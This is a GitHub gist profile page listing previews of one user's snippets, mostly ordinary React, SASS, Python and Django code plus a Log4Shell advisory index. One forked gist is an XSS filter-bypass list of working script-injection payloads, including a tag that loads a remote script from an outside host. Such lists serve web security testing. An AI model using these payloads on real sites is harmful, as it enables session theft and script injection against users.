Skip to content

Instantly share code, notes, and snippets.

View KTZgraph's full-sized avatar
🎯
Focusing on React, UX, UI

KTZgraph

🎯
Focusing on React, UX, UI
View GitHub Profile
@KTZgraph
KTZgraph / QuillEditors.jsx
Created February 19, 2023 17:01
[DRAFT] skróty działają, baza też, p-f/commit/ac3920cff50a9c830ad340c5c337a00d79724c26
// TODO https://quilljs.com/docs/modules/keyboard/#key-bindings
// todo zapis pliku https://stackoverflow.com/questions/42843355/quilljs-downlaod-docx
// TODO pdf https://codesandbox.io/s/quill-text-forked-6vrbe1
// TODO docx https://stackblitz.com/edit/quill-to-word-demo?file=src%2Fapp%2Fapp.component.ts https://github.com/andrewraygilbert/quill-to-word#readme
// TODO zpaisanie do jsona https://github.com/quilljs/quill/issues/83
// TODO do htmla https://codesandbox.io/s/github/acanimal/react-quill-with-markdown
import React, { useCallback, useEffect, useRef, useState } from "react";
// https://www.youtube.com/watch?v=iRaelG7v0OU
// npm i quill
import Quill from "quill";
@KTZgraph
KTZgraph / OnBlurComponent.jsx
Created February 18, 2023 19:36 — forked from pstoica/OnBlurComponent.jsx
onBlur for entire react element
function OnBlurComponent({ onBlur }) {
const handleBlur = (e) => {
const currentTarget = e.currentTarget;
// Check the newly focused element in the next tick of the event loop
setTimeout(() => {
// Check if the new activeElement is a child of the original container
if (!currentTarget.contains(document.activeElement)) {
// You can invoke a callback or add custom logic here
onBlur();
@KTZgraph
KTZgraph / bem-and-sass.md
Created September 12, 2022 12:10 — forked from radist2s/bem-and-sass.md
BEM & SASS best practices

BEM & SASS best practices

Every block should be in separated file named as block.

Filename: rating-star.scss

.rating-star {
    $font-size: 0.5em;
    
    display: inline-block; // `display` style may be set freely
import os
def get_folder_structure(dst_filepath: str)->list[str]:
folders_list = dst_filepath.split("/")
f_length = len(folders_list)
structure = []
for deph in range(f_length):
tmp_path = [folders_list[i] for i in range(deph)]
tmp_path = ("/").join(tmp_path)
if tmp_path != "":
@KTZgraph
KTZgraph / 20211210-TLP-WHITE_LOG4J.md
Created December 13, 2021 13:04 — forked from SwitHak/20211210-TLP-WHITE_LOG4J.md
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

  • If you want to add a link, comment or send it to me
  • Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great ressources

# -*- coding: utf-8 -*-
import json
import requests
import re
import random
import urllib
import lxml.html
import bs4
import sys
reload(sys)
@KTZgraph
KTZgraph / xxsfilterbypass.lst
Created January 11, 2021 23:38 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@KTZgraph
KTZgraph / README.md
Created October 12, 2020 13:35 — forked from enjalot/README.md
Libraries used in bl.ocks

A dump of 2000+ libraries found in the 14,000+ blocks we have indexed.

I parse the html files of all the blocks with this code.

It would be nice to have a structured way to pull the version out of this variety of URL patterns. Perhaps someone will come up with a crazy regex that does it.

This is likely the first step to indexing the library version for blockbuilder search. We have an issue for this tracked here.

Built with blockbuilder.org

@KTZgraph
KTZgraph / hash_benchmark.py
Created September 27, 2020 16:54 — forked from ipmb/hash_benchmark.py
Test speeds of different Django password hashing functions
#!/usr/bin/env python
import os
import time
from django.contrib.auth.hashers import make_password
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings')
class Timer(object):
def __init__(self, name, iterations):
self.name = name
import logging
from functools import wraps
from django.core.cache.backends.memcached import PyLibMCCache
logger = logging.getLogger(__name__)
def fault_tolerant_wrapper(f):
@wraps(f)
def wrapper(*args, **kwargs):